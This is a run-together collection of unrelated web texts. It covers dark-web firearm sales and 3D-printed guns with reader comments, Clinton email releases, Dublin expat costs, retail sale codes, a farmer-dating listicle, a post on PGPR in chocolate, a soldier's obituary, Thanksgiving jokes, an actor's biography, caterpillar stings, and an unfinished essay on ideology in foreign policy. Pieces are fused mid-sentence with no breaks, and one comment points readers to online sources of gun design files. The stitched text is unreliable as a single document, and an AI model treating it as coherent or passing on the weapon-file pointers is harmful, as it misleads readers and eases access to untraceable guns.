Whether these findings constitute a serious threat to our security is debatable, but it can’t be denied that the dark web and 3D printing technology are increasing the options for people looking to procure firearms or even explosive devices. We reported previously on the discovery by police of a major facility for 3D printing sub-machine guns, on Australia's Gold Coast. The major price difference compared to the street and conventional black markets is another factor in the facilitation of people getting their hands on dangerous weapons. That doesn’t mean that selling firearms online isn’t a lucrative business, though. The overall value of the arms trade based on the 12 cryptomarkets analyzed in the study is estimated to be in the region of $80,000 per month.
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Greg wrote at 1/16/2019 2:38:26 PM:So much hype and misconception about "3D Printed guns"... There are only a limited subset of gun parts that can be 3D printed with conventional fused polymer 3D printing. Any component that must endure high stresses or high pressures must still be manufactured from high quality metals and alloys. This is particularly true of the heart of any firearm - the chamber and barrel. The art and skill of gunsmithing has been around for many centuries, and has always been accessible to the lay person. CNC machining (subtraction manufacturing) has become much more accessible to the the average person in the past decade, and it is vastly more useful for personal firearms fabrication (gunsmithing). And yet, barely any negative publicity around the evolution of that technology is to be found. Thanks to the ignorant MSM fake news reporting, there is public perception that 3D printing usable gun parts somehow requires no knowledge or skills. People believe that it can be used to crank our massive numbers of functioning firearms with nothing more than the press of a button. Anyone with even a little knowledge and experience in this area knows that this idea is absolute fiction. The whole idea of having to buy gun parts plans on the dark web is also incredibly ignorant. There are many repositories of these CAD files easily available via peer to peer sharing networks. They are very easy to find. For example, fosscad.org is just one of many indexes into the world of decentralized storage of such files.Dan Haggerty wrote at 7/24/2017 10:13:35 PM:The gun at the beginning of the article is a render, NOT a 3D print. Stop being lazy in your reporting... FACTS not fiction.alex wrote at 7/24/2017 6:53:08 AM:4 coolest 3D printing projects this week: 3D printed espresso cup, Iron Man suit, handheld PC, V for Vendetta masksguest wrote at 7/23/2017 5:02:10 AM:Anybody who pays $12 for that is an idiot, there's hundreds for free on piratebayBarry wrote at 7/23/2017 1:40:54 AM:Why do you keep showing a metal home made gun? That thing isn't 3d printed.George Colaluca wrote at 7/22/2017 9:44:40 PM:I have seen regular guns blown apart by to heavy a load. I wouldn't want to test fire a gun made out of plastic.Mbc wrote at 7/22/2017 7:27:56 PM:Horrors. They are available for free if you know where to look! Prohibition didn't work for alcohol or drugs, why would it work for guns?!?{monads}A federal judge on Friday ordered the State Department to review approximately 1,000 pages of the documents before the Nov. 8 elections, releasing those that are subject to the Freedom of Information Act (FOIA) request that is driving their release.
But State Department lawyers are unsure how many messages will actually be responsive.
Clinton deleted about 30,000 emails from the private server setup she used while serving as secretary of State, saying they were not work related, before turning over thousands more to the government. But while examining her machines, the FBI recovered some additional emails that could be relevant to the FOIA lawsuit.
A preliminary review of the 15,000 emails revealed that about 60 percent were of a purely personal nature. Around 37 percent — or 5,600 documents — were deemed work-related, but of those, a “substantial number” were duplicates of the 55,000 emails that Clinton turned over to the agency in December 2014. Those emails have already made public through the FOIA process and would not be re-released.
When pressed, State lawyers later suggested that “almost half” of the work-related emails were duplicates.
It’s also unclear how many pages those 5,600 documents comprise, although State lawyers said that historically, there have been about 1.8 pages per document.
U.S. District Judge James Boasberg ordered the agency to review 350 emails and produce what they were able to on Oct. 7, Oct. 21 and Nov. 4. Thereafter, he ordered State to review 500 pages a month, producing as many responsive documents as exist in each batch.
Lawyers for the conservative group that brought the suit, Judicial Watch, pushed for a more expedited release but were ultimately rebuffed by Boasberg.
The emails, Boasberg said, are not “a black box” or a “treasure trove of information that no one’s ever seen.” He noted that the emails had been thoroughly investigated by the FBI.
The FBI turned the documents over to the State Department at the close of the probe, which did not result in charges.
The ruling did not mollify Judicial Watch President Tom Fitton, who accused the agency of being “obstructionist.”
“How can anyone think that the State Department is doing anything but doing Mrs. Clinton a favor?” Fitton told reporters, arguing that the agency is withholding information that the voting public has a right to access prior the presidential election. Clinton is the Democratic nominee.
“You can’t trust anything the State Department is doing these days,” he said.Dublin is now more expensive than Central London for expats, damaging hopes that the capital could be benefit from a defection of banks and other financial institutions from the UK following the Brexit vote.
Dublin is now more expensive than Central London for expats, damaging hopes that the capital could be benefit from a defection of banks and other financial institutions from the UK following the Brexit vote.
Blow to Brexit job hopes as Dublin is pricier than London for expats
Dublin is now ranked number 16 on the list of priciest cities in Europe for expats, up from 22 last year. Central London is ranked number 17 in Europe.
The Swiss cities of Zurich, Geneva, Basel and Bern take the top four positions, in that order.
The cost of living survey was carried out by ECA International, a global software and knowledge company.
Dublin is still ranked cheaper than Paris, at number 11. The French capital is also trying to lure companies likely to flee London as a result of the June referendum that will see Britain leave the European Union by 2019.
But two other cities seen as lead contenders for an influx of jobs that might leave London - Amsterdam and Frankfurt - don't even figure on the top 20 list of most expensive European cities for expats.
The decline in the value of sterling since the Brexit vote has also seen Central London drop out of the top 100 most expensive cities in the world for expats. Last year, it was among the top 50.
"This is the first time Central London has not featured in the top 100 since ECA's Cost of Living rankings began," said Steven Kilfedder, production manager of ECA International. The surveys began in 2004.
"The weakened pound means that UK businesses are paying more when sending staff to work overseas, although it is cheaper to bring staff to the UK," he added.
"London is now cheaper than Paris, Berlin and Brussels thanks to the weak pound".
The survey analyses the price of groceries, household and electrical goods, clothing, motoring, eating out and alcohol, for instance. But it excludes rents, utility charges, car purchase costs and school fees. ECA says those costs are not included because they're often borne by the employer of an expat.
Irish IndependentNothing says summer like good old fashioned men's clothing sales. Wait, that's not a thing? Well, in our book it is and now's the time to pick up a new pair of white jeans, the suit you're going to wear to every summer wedding, swim trunks, some tie dye, and a new pair of sunglasses or two. So basically, now's the time where you're going to buy a lot of stuff. And lucky for you this year's roundup of Memorial Day sales have already kicked into high gear. And to give you a competitive edge we're compiling the best of all the men's clothing sales right here—and we'll be updating our list all weekend long. So make sure your phone or iPad or laptop (or all) are properly charged because you are in for some serious deals all weekend long...
2(X)IST: 25% off plus $10 off for every $100 you spend (through 5/28)
3x1: 20 percent off site-wide with code MDW18 (through 5/28)
Abercrombie & Fitch: 40% off the entire store and online (through 5/28)
Alternative Apparel: 40% off Alternative Apparel items and & 20% off additional brands (through 5/28)
American Trench: 15% off site-wide with code COOKOUT (through 5/28)
Barneys: Up to 40% off (ongoing)
Bergdorf Goodman: Up to 40% off (through 5/28)
Bloomingdale’s: Up to 40% off (ongoing)
Clarks: 25% off select styles with code MAY25 (through 5/29)
Cole Haan: Exra 40% off sale styles (through 5/31)
Corridor: 20 percent off site-wide with code MEMORIALDAY2018 (through 5/28)
Daniel Patrick: $50 off any purchase in June when you spend $300 (through 5/28)
DC Shoes: 30% off sales items (through 5/28)
DL1961: 30% off site-wide (through 5/28)
East Dane: : Up to 40% off (ongoing)
Faherty: 25% off sale and select items with code MEMDAY25 (through 5/28)*
Farfetch: Up to 50% off (ongoing)
Florsheim: Up to 50% off clearance items with promo code CLR18
Forward: Up to 65% off select items (ongoing)
GANT: 20% off sitewide (through 5/28)
Gap: Up to 50% off and an additional 20% off online (through 5/26)
Guess 30%-50% off select styles (5/25 - 5/28)
Havaianas: 20 percent off orders over $50, 25% off orders over $75, and 30% off orders over $100 (through 5/28)
Helix Sleep: $100 off a mattress with code MDW100 (through 5/30)
Huckberry: Up to 70% off (through 5/29)
Indochino: Up to 60% off everything with code MEMORIAL (through 5/28)
J.Crew: 40% off, excluding sale styles (through 5/27)
J.Crew Factory: 50% off everything and extra 50% off clearance with code WINWIN (through 5/29)
J.W. Hulme Co.: 20% off sitewide with code CELEBRATE20 (through 5/26)
Levi’s 30% off everything with code MAY30 (through 5/30)
LN-CC: Up to 40% off (ongoing)
Macy’s: Extra 20% off at Macy's Memorial Day sale with code MEMDAY (through 5/28)
MatchesFashion: Up to 50% off (ongoing)
Mavi: 25% off your order with code MAY25 (through 5/28)
Minnetonka: Free shipping on orders with code SUMMERKICKOFF (through 5/28)
NeedSupply: Up to 40% off (ongoing)
Neiman Marcus: Up to 40% off (ongoing)
Nordstrom: Up to 40% off (through 6/4)
Old Navy: 50% off T-shirts, tank tops, shorts, and swimwear15 Reasons to Date a Farmer
Unless you suffer from hay fever and hate the country, farmers make pretty great dates. Here are 15 reasons to date a farmer:
1. They aren’t afraid of putting down roots. In fact, your farmer is probably already based somewhere — with long-term plans to stay there.
2. Farmers are fit, toned and tanned. (The “tanned” part might only apply to their forearms. But those forearms are great.)
3. Many farmers subscribe to good ol’ fashioned family values — and will be proud to treat you with gentleness and respect.
4. There’s something sexy about working the land, cultivating plants and raising beef that nourish a nation. Your stomach will benefit.
5. It’s trendy to be eco-aware. Your farmer is as close to being “one with the land” as they come.
6. Free tractor rides.
7. Farmers are traditionally loyal and protective.
8. The rural lifestyle provides plenty of fresh air, vitamin D, and panoramic views with zero skyscrapers in sight.
9. You can visit your date at work — if you don’t mind getting manure on your shoes.
10. Farmers are essentially small business owners. They must have both brains and brawn to keep their farm running successfully.
11. Farmers are community players, often helping out neighboring farms when another farmer is struggling to get their crops in on time.
12. Most farmers want to keep the farm in the family. Thus, they want children.
13. Farmers work hard every single day of the year without complaint.
14. Farmers don’t live in condos.
15. Farmers are trustworthy. If a few dozen cattle can trust the farmer with their lives, surely your date can handle responsibility.
Tell us, why else should one date a farmer?PGPR and the FDA Polyglycerol polyricinoleate, commonly known as PGPR, is being seen increasingly often in commercially-produced chocolate. The good people of Wikipedia describe it as "a yellowish, viscous liquid comprised of polyglycerol esters of polycondensed fatty acids from castor oil. It may also be polyglycerol esters of dimerized fatty acids of soya bean oil." Now doesn't that sound delicious? Serve me up a bowlful, please! But the slimy yellow story doesn't end there. The chocolate industry (Hershey's, Nestle, Mars, and other low-quality high-finance producers) began using it as of 2006 to make coating chocolate thinner and chocolate products smoother. Kerry Bio-Science, one producer of PGPR and similar products, boasts in a rather awkwardly-phrased way that PGPR enables "products to be manufactured using lower levels of fat without sacrificing high quality characteristics. Key Benefits: viscosity control, aeration, texture." They also suggest using their polysorbates and sorbitan esters in chocolate to reduce bloom and for stability, texture, and crystallization control. They seem bent on amping up chocolate with every chemical contortion they can find. But what effect does this have on the end product and its consumer? There have been a number of studies done on PGPR over the past fifty years. All of the studies I reviewed concluded that it did not have any adverse short-term effects on human or rat health, even when consumed in amounts ten to one hundred times as large as the very small percentages often used in food. But we don't consume food in the hopes that it won't harm us, we consume food to nourish our bodies. When PGPR is used to replace cocoa butter, what are we losing? Certainly, we can lose some flavor. This has only been addressed anecdotally, as far as I know. It makes sense that we would lose flavor: when a local chocolate cafe, Bittersweet, prepared to open its doors, it offered potential customers a sample of three chocolates it was going to carry. One was milk, one dark, and one the loathed white chocolate. But it was free, so my friends and I tried it. We were amazed to find that it was actually edible, and even tasted chocolatey. The owners explained that this particular white chocolate included a high percentage of cocoa butter left in from the manufacturing process, whereas most companies use deodorized cocoa butter in their white chocolate because it is more readily available and lets them control the taste. Deodorized cocoa butter is more readily available not only because it allows for flavor control, but also because it is often removed in the manufacturing process and sold to the cosmetics industry. PGPR is often hailed as a cost-saving move for chocolate companies because it is much cheaper than cocoa butter, but it is rarely pointed out that for those companies who manufacture the chocolate themselves, there is money to be made in redirecting part of their foodstuffs to rub on consumers' skins at a much higher price than that of chocolate. The author of the Wikipedia article about PGPR, in his Yelp account as "Aaron P.," states that "It has a detectable and somewhat offputting aftertaste.... American chocolate makers have been lobbying for years to be allowed to add vegetable fats to their products so they can sell the cocoa butter at a higher profit to cosmetic manufacturers. So far they have been thwarted, so now they have moved to using PGPR to lower the levels of cocoa butter while still remaining undetectable to most people." He also noted that "Unfortunately, someone keeps altering the (Wikipedia article) to detail the glories of PGPR, and I have to keep fixing it." So, some people can detect an unpleasant aftertaste in foods using PGPR, and it represents a healthful ingredient being removed from our food, much like the contrast between the surfeit of cheap low-nutrition white breads in U.S. supermarkets and the high cost of the very nutritious wheat germ that is removed from them and marketed to "health nuts." But is cocoa butter really good for our insides, or are we better off removing it for external use only? The 1996 study conducted by Andrew Waterhouse of UC Davis which discovered the phenols (potent antioxidants) in chocolate also revealed that these antioxidants come from cocoa butter and the stearic acid it produces. It demonstrated that the phenols prevented LDL cholesterol from building up in arteries. Another study had subjects follow diets in which the majority of fat calories came from either chocolate or butter; only those with the butterfat diet showed an increase in LDL cholesterol. This is why dark chocolate, which usually contains between about 30% and 50% cocoa butter, is touted for its antioxidant properties, and a bar of Hershey's milk chocolate is not. Unfortunately, Hershey's in particular - one of the biggest users of PGPR - has also moved to take advantage of the new healthier perception of dark chocolate. Not only have they begun buying small high-end chocolate producers like Scharffen-Berger and Joseph Schmidt Chocolates, but they have also expanded their dark chocolate line and begun marketing it heavily as a healthy treat. Besides the irony of their simultaneous replacement of antioxidant-filled cocoa butter with PGPR in their cheaper chocolates, they have put corn syrup in many items from the more expensive and supposedly healthy dark chocolate line. This is the kind of behavior that buying PGPR-enhanced chocolate supports. Dishonest; unscrupulous; pulling the wool over consumers' eyes. Read your ingredient listings carefully, and research the unfamiliar, and you can feed your mind as well as your body. Cybele, of Candy Blog, is doing great work to educate people about fat replacement in chocolate. You see, it may not stop at a little PGPR/cocoa butter blend. Right now, chocolate is cocoa liquor and cocoa butter and whatever else you want to add... sugar, milk, raisins, crunchy frogs.... But some chocolate producers, including (and I know this will shock you) Hershey's, are asking the FDA to let them replace all the cocoa butter with other fats and still call it chocolate. As Cybele has pointed out, they can replace the cocoa butter with motor oil right now if they want and sell that, they just can't call that chocolate and they shouldn't be able to. You can send your comments to the FDA here, today only because I am coming to this issue late! I will remove that link tonight, and keep you all updated on what else you can do as the situation develops. You can learn more about this at dontmesswithourchocolate.com:BROOKFIELD -- It is our sad duty to report that Matthew Thompson, a 28-year-old U.S. Army Staff Sgt. and 2006 Brookfield Central High School graduate, has died this week while on duty in Afghanistan.
According to a report by the Milwaukee Journal Sentinel, Thompson was killed by a roadside bomb on Tuesday, August 23rd while on patrol in Helmand Province, Afghanistan. Another American and six Afghan soldiers were wounded in the blast.
A @gofundme Site has been created for the family of Matthew Thompson. https://t.co/fwlwGLbQ3a
— Brookfield Central (@BCHS_SDE) August 25, 2016
Thompson was a Green Beret and medic in the Army Special Forces. He was killed in action during a mission in Afghanistan on the morning of August 23rd.
Thompson's wife, Rachel, his parents Mark and Lynda, and his sisters Karen and Robyn are traveling to be with family and to receive the body.
A GoFundMe page has been set up to help the family with travel costs and other financial hardships after this week's tragic news.
If you want to help the family, you can donate to their fund here:
Support the Family of Matt Thompson
According to the family, this page has been set up to offer a place for people to help offset the family's travel costs and other expenses that come about due to this loss. Any donation is greatly appreciated and will be submitted directly to Matt's family.
According to totals as of Thursday morning, the community has offered a wealth of support, and has exceeded the family's funding goals already.
The Elmbrook School District has also released a statement on the tragic loss of one of Brookfield's own:
The Elmbrook community mourns the loss of U.S. Army Staff Sgt. Matthew V. Thompson, 28, who died Tuesday, August 23, 2016 in southern Afghanistan. Matthew was a proud member of the Brookfield Central Class of 2006. During his senior year he was varsity football captain and also played trombone in the wind ensemble and jazz band during his four years at Central. We offer our deepest condolences to Matthew's wife, parents and sisters, as well as our sincere gratitude for his service to our country.
Image Credit: U.S. ArmyIt feels like we live in the Middle |
When you get quizzical looks, and you will, inform them that it's all a trick and that the Turkey has reversed the beams. Explain, "While he's safe in there, we're all being cooked out here" and slowly back out of the room.
5. Constantly ask your mother when she stopped loving you.
6. When it's your turn to say what you're thankful for, laugh a little to yourself, and say "Life. Just life, man." Then grab the hand of the person next to you and squeeze while maintaining eye contact.
7. Offer to make a side dish. Then sit in the backyard with a tub of butter and a head of iceberg lettuce and yell while you churn. When your uncle asks when it will be ready, look at him, point back to the house, and say "It'll be ready when it's ready."
8. Show up with your new girlfriend, who you constantly refer to as "mother."
9. Show up with blood on your shirt and never address it. When your family asks about it, shrug and go "Oh, laundry day" and remove your shirt to reveal a gaping wound on your torso.
10. During the meal, constantly remark, "I was told there'd be pie" and then give your grandmother a hearty slap on the back. Do this every five minutes until pie is served, upon which you storm out of the room, claiming it's too "crusty."Overview (3)
Mini Bio (1)
Jaleel White was born on November 27, 1976 in Pasadena, California, USA as Jaleel Ahmad White. He is an actor and writer, known for Family Matters (1989), Big Fat Liar (2002) and Sonic the Hedgehog (1993).
Trade Mark (2)
Childhood role as Steve Urkel on the sitcom Family Matters
Flattop haircut
Trivia (20)
Regularly played basketball against George Clooney while each was on their respective TV series, Family Matters (1989) and ER (1994), which were on nearby sets.
Graduated from UCLA Film School in 2001.
Attended Henry E. Huntington Middle School in San Marino, California.
Enjoys making homemade ice cream and even considered doing it professionally when he was a teenager.
Likes writing short stories and drawing cartoons.
Before auditioning for Steve Urkel on Family Matters (1989), he was looking for the classic nerd glasses (black, thin, with tape around the center) but had no luck. His father, a dentist, tossed him the glasses that he used to keep particles out of his eyes. Jaleel just figured that he would find different glasses at another time. The crew loved the look, so he kept them.
Is against alcohol and drugs.
Attended South Pasadena High School in South Pasadena, California. Once video-taped an experiment for Mr. Kemp's Physics class when he was away working on the set of Family Matters (1989).
Father is Michael, a dentist. Mother is Gail, a housewife.
After shooting his first scene as Steve Urkel on Family Matters (1989), 50 frat boys in the audience started chanting, "Urkel! Urkel! Urkel!" It was then that the show's producers realized how gifted he was.
Ranked #37 in VH1's list of the 100 Greatest Kid Stars.
Was considered for a main-character role during the casting of Saved by the Bell (1989).
Ranked #1 in Q-Ratings (1991)
Originally was cast as Rudy on The Cosby Show (1984) until Bill Cosby decided to make the character a girl.
Father of a daughter, Samaya White, born 2009, with ex-girlfriend Bridget Hardy
His acting mentor was Reginald VelJohnson
Originally, his character on Family Matters (1989) was supposed to be a guest-star, but proved to be so popular that he stayed on as a regular.
It was rumoured that he would voice Sonic the Hedgehog again in Sonic Generations (2011), as one of the staff at Sega of America wanted him to voice Classic Sonic, but Jaleel was never approached about doing the role and they eventually decided to make Classic Sonic mute.
Personal Quotes (6)
The conventions of an almighty agency tapping you for greatness and signing you up and telling you this is going to be the next big thing; that has not been my career.
You need fans in high places, I always tell people. I don't care how talented you are.
You have to be respectful of pop culture, because people interpret it in the way they want.
Writing is still on my slate.
I've been in this business 31 years. I've never had a movie deal.
[1999, on his role as Steve Urkel on Family Matters (1989)] If you ever see me do that character again, take me out and put a bullet in my head and put me out of my misery.
Salary (2)There is no anti-venom for pus caterpillar envenomation. One strategy suggested describes applying tape to the site and pulling it off to remove the hairs ("stripping"). Other patient home remedies have included applying ice packs, oral antihistamines, baking soda, hydrocortisone cream or calamine lotion. Other papers suggest pain relief through intravenous calcium gluconate or systemic corticosteroids. There is not good evidence for any of these treatments though the "stripping" seems to be reasonable if the patient presents in a timely manner. Once important aspect may be to recognize the envenomation pattern and correlate with symptoms to prevent unnecessary panic and work up.
I recommend reading the reviewed article on pus caterpillar envenomation here as it is not only educational, but also quite entertaining.
Thank you for reading.
See more cases like this on Figure 1.Presidents George W. Bush and Barack Obama clearly possessed major differences in their approaches to international affairs. One area, however, in which their views and policies in important ways overlapped was how political ideologies were likely to shape U.S. security, particularly in the Middle East. Although both Bush and Obama early in their presidencies indicated that ideologies would play relatively unimportant roles in their Middle Eastern policies, developments soon pushed both administrations to reverse course. Bush attributed the September 11, 2001 terrorist attacks perpetrated by al Qaeda to this group's profound ideological differences with the United States, and the president made similar assessments about the root sources of America's enmity with Iraq, Iran, and Syria. These judgments led Bush to make regime change in these states a central component of his foreign policies. The most important-and costly-dimension of this objective was the 2003 decision to invade Iraq and the subsequent efforts to democratize it. To Bush, increased liberalization in the Middle East would significantly improve America's security. The result, as the president explained in his Second Inaugural Address, was that "America's vital interests and our deepest beliefs are now one. So it is the policy of the United States to seek and support the growth of democratic movements and institutions in every nation and culture, with the ultimate goal of ending tyranny in our world." Although Obama's pragmatic foreign policy inclinations ran even deeper than Bush's, he, too, was pulled in a more ideological direction by Middle Eastern developments. Massive popular protests that swept across much of the Arab world in 2011 resulted in the ouster of three authoritarian leaders, Zine al-Abidine Ben Ali in Tunisia, Hosni Mubarak in Egypt, and Muammar Qaddafi in Libya and in increased political repression in many others, including Bahrain, Iran, Saudi Arabia, Syria, and Yemen (Qaddafi's overthrow, like Hussein's, was largely due to the use of American military force). Obama called for liberalizing reforms-even in America's authoritarian allies-as the best way of quelling the protests and ultimately building more stable relations with the United States. Obama, just as with Bush, claimed a synergy between America's ideological and security interests when he laid out his administration's vision for U.S.-Middle Eastern relations in light of the 2011 "Arab Spring": " We must acknowledge that a strategy based solely upon the narrow pursuit of [material] interests.will only feed the suspicion [among the peoples of the Middle East] that has festered for years that the United States pursues our interests at their expense.[Thus] it will be the policy of the United States to promote reform across the region, and to support transitions to democracy.The United States of America was founded on the belief that people should govern themselves. And now we cannot hesitate to stand squarely on the side of those who are reaching for their rights, knowing that their success will bring about a world that is more peaceful, more stable, and more just." Were these U.S. leaders correct in their assessments of the importance of ideologies in international relations? Are, for example, large ideological differences between states a key source of hostilities? Are attempts to export particular ideological values effective strategies of conflict resolution? Despite the overwhelming importance of these issues, little consensus exists in either policymaking or academic circles about how or to what extent ideologies affect international relations. Most notably, proponents of the theoretical tradition known as realism, which is the dominant approach to the study of international politics, argue that the effects of ideologies in international relations pale in comparison to the effects of power. Thus leaders should neither believe that others' core security policies are a product of their ideological principles, nor dedicate significant resources to attempting to spread particular ideological beliefs and institutions abroad. My research in two books has attempted to add clarity to these critical, and highly controversial, issues and debates. My primary purpose is to provide a detailed framework for understanding to what extent ideologies matter in international relations, how they do so, and which foreign policies decision makers should implement to make best use of this information to advance their state's security interests. After examining the diplomatic history of key cases of the great powers' foreign policies from the French Revolution to the end of the Cold War, as well as the international relations of various Muslim-majority countries in the Middle East since the Cold War's end, I find that ideologies consistently had major effects on leaders' core international perceptions and policies. Most importantly, ideologies went a long way toward determining leaders' understandings of which states were likely to threaten and which states were likely to support their core domestic and international interests. Ideologies, in short, to a great extent determined leaders' perceptions of likely enemies and allies. I define an ideology as leaders' preferences for ordering the political world. Ideologies, in other words, are the specific, often idiosyncratic, political principles and goals that leaders both value most highly and use to legitimate their claim to rule. Any number of different social values and institutional objectives can comprise leaders' core ideological beliefs. Do politicians, for example, advocate for their country the creation or continuation of representative or authoritarian political institutions? Capitalist or socialist economies? Theocratic or secular values? The advancement of particular ethnicities against rival ethnic groups? Prominent ideologies include communism, fascism, liberalism, monarchism, and religious fundamentalism. Leaders' ideological beliefs not only have major implications for domestic politics, but international relations as well. Significant ideological differences dividing states' leaders frequently affect their foreign policies by shaping their understandings of the threats that they pose to one another's interests. Ideologies shape leaders' threat perceptions and consequent foreign policies by two main pathways. First, these variables play a key role in affecting how leaders' assess one another's international intentions. The greater the ideological differences dividing decision makers, the more likely they are to assume the worst about one another's objectives. Ideological enemies believe that conflict between them is in the long run inevitable. Even if ideological rivals in the present exhibit no hostility toward one another-or are even currently cooperating with each other-leaders will often assume that such amicability is temporary, and is bound to be replaced eventually with overt animosity. Important historical examples of ideological rivals' beliefs that conflict with one another is inevitable and the consequent adoption of policies that ensure this outcome are numerous. These views, for example, were central to the origins of the Second World War. Adolf Hitler of Nazi Germany repeatedly told the Wehrmacht leaders that the origins, objectives, and means of fighting the unavoidable war with the Soviet Union were rooted in the huge ideological differences between the two powers. Three months before Germany's attack on the Soviet Union, he told his generals that the "struggle [with the USSR] is one of ideologies and racial differences and will have to be conducted with unprecedented, unmerciful, and unrelenting harshness.... The commissars are the bearers of ideologies directly opposed to National Socialism. Therefore the commissars will be liquidated." In fact, the "main theme" of Hitler's reasoning for attacking the Soviet Union, according to the Chief of the Armed Forces High Command, Wilhelm Keitel, was to engage "the decisive battle between two ideologies." Intense suspicions of ideological rivals were also a defining attribute of the Cold War. Former Soviet Foreign Minister Maxim Litvinov stated in an interview in 1946 that the "root cause" of Soviet-American confrontation was "the ideological conception prevailing [in the Soviet Union] that conflict between the Communist and capitalist worlds is inevitable." Dwight Eisenhower similarly asserted early in his presidency that "anyone who doesn't recognize that the great struggle of our time is an ideological one.[is] not looking this question squarely in the face." "The central core of the great world problem is the aggressive intent of international communism." This was still the view of America's president over thirty years later. According to Ronald Reagan: "All of us need to be better informed about the unchanging realities of the Soviet system. We are in a long-term twilight struggle with an implacable foe of freedom." "We cannot assume that their ideology and purpose will change; this implies enduring competition." A second prominent way in which large ideological differences are likely to shape leaders' threat perceptions is by affecting their understandings of the dangers to their most important domestic interests, namely the preservation of their political power and the regime type they support. The greater the ideological differences dividing decision makers in different states, the greater their fears of domestic subversion are likely to be. Leaders will tend to worry that the success of ideological enemies abroad will be contagious, ultimately boosting the political fortunes of like-minded individuals at home, even to the point of revolution. Politicians will also tend to assume that international ideological rivals will provide aid to the latter's ideological allies throughout the system in an attempt to promote political change in targeted states. In these ways, international ideological competitions tend to be translated into domestic struggles for power and legitimacy. Fears of domestic subversion often have critical effects on leaders' international relations. British and French conservative leaders' fears of the spread of communism, for example, virtually precluded an alliance with the Soviet Union against Germany in the 1930s, despite the latter's massive rearmament policies and geopolitical expansion. French Prime Minister Leon Blum in a letter to the French ambassador to the Soviet Union, Robert Coulondre, explicitly referred to the ideological barriers to an alliance with the Soviet Union that blocked cooperation despite significant incentives to forge such a coalition: "A psychosis is being created according to which the Soviet entente leads to Communism; this fear tends to neutralize that which is inspired by the German threat and to paralyze cooperation among the pacific powers at the very time when this current ought to intensify." British Prime Minister Neville Chamberlain similarly explained in a private letter to his sister Ida in March 1939 why he continued to oppose an alliance with the USSR even at this late date: "I must confess to the most profound distrust of Russia.I distrust her motives which seem to me to have little connection with ideas of liberty and to be concerned only with getting every one else by the ears." Chamberlain in the spring of 1939 even threatened to resign "rather than sign [an] alliance with the Soviet." This is not to say that ideological differences create an absolute barrier to alliances. There are numerous historical examples of security cooperation among fierce ideological rivals. Nevertheless, it is fair to state that substantial ideological differences among states create powerful barriers to alignment that require particularly strong incentives to overcome. Ideological differences often create important delays in alliance formation, or lead to their premature dissolution due to ideologies' centrifugal effects. In my research, I have found that ideological differences and their perceived effects on states' international and domestic interests have been a central cause of conflict in a number of key cases, including in the aftermath of the French Revolution, the 1930s in Europe, the Cold War, and various conflicts between Western and Islamist groups. The opposite threat relationships often hold for states' leaders who are dedicated to similar ideological beliefs. Policymakers who share core ideological principles are likely both to interpret one another's international intentions in a mostly favorable light, and to view their domestic interests as interconnected. These dynamics have often resulted in significant cooperation among multiple ideological groups, including liberals, monarchists, fascists, religious fundamentalists, and even communists. For example, although the Sino-Soviet alliance of the 1950s was eventually replaced with enmity, it should not be forgotten the depth of the cooperation between the two communist powers that existed throughout the 1950s. Soviet economic and military aid to China was massive, and in important ways surpassed analogous support from America to its allies. Internal documents reveal that ideological affinity was a key motivating force for this impressive, in some ways unprecedented, aid. Soviet leader Josef Stalin, for example, told one of his associates that "if socialism is victorious in China and other countries follow the same road, we can consider the victory of socialism throughout the world to be guaranteed...Because of that, we must not spare any effort or resources in assisting the Chinese communists." Trust and as a result cooperation among liberal states has been the most impressive and enduring of any ideological group. No established liberal democracy has ever warred with another. This phenomenon is known in the international relations literature as the "democratic peace." Numerous liberal leaders have expressed high levels of trust about one another's international objectives. In a speech expressing his support for the European Union (EU), President Bill Clinton, for example, claimed that Americans "should develop ourselves to become a part of the group that shares our common [liberal] values.Of course, one day the EU will surpass the United States economically. But if we belong to the same group with our common values, who cares!" Britain's Prime Minister Tony Blair reciprocated these sentiments when he indicated that despite America's overwhelming power superiority in the post-Cold War world, liberal states need not fear American primacy. Hence his assertion in a July 2003 speech that "there is no more dangerous theory in international politics today than that we need to balance the power of America with other competitor powers." Every president of the United States in the post-Cold War period (Ronald Reagan, George H. W. Bush, Bill Clinton, George W. Bush, and Barack Obama) has expressed confidence in the accuracy of the predictions of democratic peace theory. One of the most important, and enduring, effects of ideologies on leaders' foreign policies is that these variables create powerful incentives for politicians to try to convert ideological rivals to their own legitimating principles. Because leaders tend to believe that hostilities with ideological enemies is in the long run unavoidable and cooperation with ideological allies likely, politicians will view regime exportation as a way of reducing the number of enemies in the system and increasing the number of allies. Fears of subversion to the principles of international ideological enemies add domestic incentives to work for the spread of one's principles abroad. Taken together, these beliefs explain why politicians of virtually all ideological beliefs-monarchical, liberal, fascist, communist, and religious fundamentalist-have attempted to export, including by force, their defining ideological principles and institutions. As Stalin explained to a Yugoslav communist leader, Milovan Djilas, in April 1945: "This war is not as in the past; whoever occupies a territory also imposes on it his own social system. Everyone imposes his own system as far as his army can reach. It cannot be otherwise." Stalin, though, was partly wrong in his assessment. Regime exportation was not new to the Second World War, but typical among ideological enemies both before and after this conflict. During the Wars of the French Revolution, for example, British leaders, in the words of Prime Minister William Pitt, had "no idea of any peace being secure, unless France returned to the monarchical system." Regime change thus remained a high priority for Britain throughout the 1790s. Within weeks of the outbreak of the First World War, British leaders in both private and public statements made the destruction of "Prussian militarism" in Germany a central war-fighting objective. As Prime Minister H. H. Asquith declared in a November 1914 speech: "We shall never sheathe the sword.until the military domination of Prussia [in German politics] is wholly and finally destroyed." Prominent Soviet officials at various points in the interwar period declared that international peace could "only be guaranteed by the victorious proletarian revolution in all capitalist countries," and that the end of war could result "only when the Soviet system has been adopted by all the countries of the world." Given these views, it is not surprising that efforts to help spread the communist revolution remained a priority to Soviet leaders in these years. In a 1962 report entitled the "Basic National Security Policy" of the United States, the Chairman of the Policy Planning Council at the State Department and a close advisor to President John F. Kennedy, Walt Rostow, asserted that because it was difficult "to envisage the survival of democratic American society as a beleaguered island in a totalitarian sea," it was a preeminent American interest to see rival regimes, including the USSR, "develop along lines broadly consistent with our own concepts of individual liberty and government based on consent." Two decades later in the 1983 top-secret National Security Decision Directive (NSDD)-75, Reagan officials stated that a critical objective of U.S. foreign policy was "to promote... the process of change in the Soviet Union toward a more pluralistic political and economic system in which the power of the privileged ruling elite is gradually reduced. The U.S. recognizes that Soviet aggressiveness has deep roots in the internal system." President George W. Bush made related augments in his Second Inaugural address: "For as long as whole regions of the world simmer in resentment and tyranny-prone to ideologies that feed hatred and excuse murder-violence will gather.and raise a mortal threat.We are led.to one conclusion: The survival of liberty in our land increasingly depends on the success of liberty in other lands. The best hope for peace in our world is the expansion of freedom in all the world." Exporting 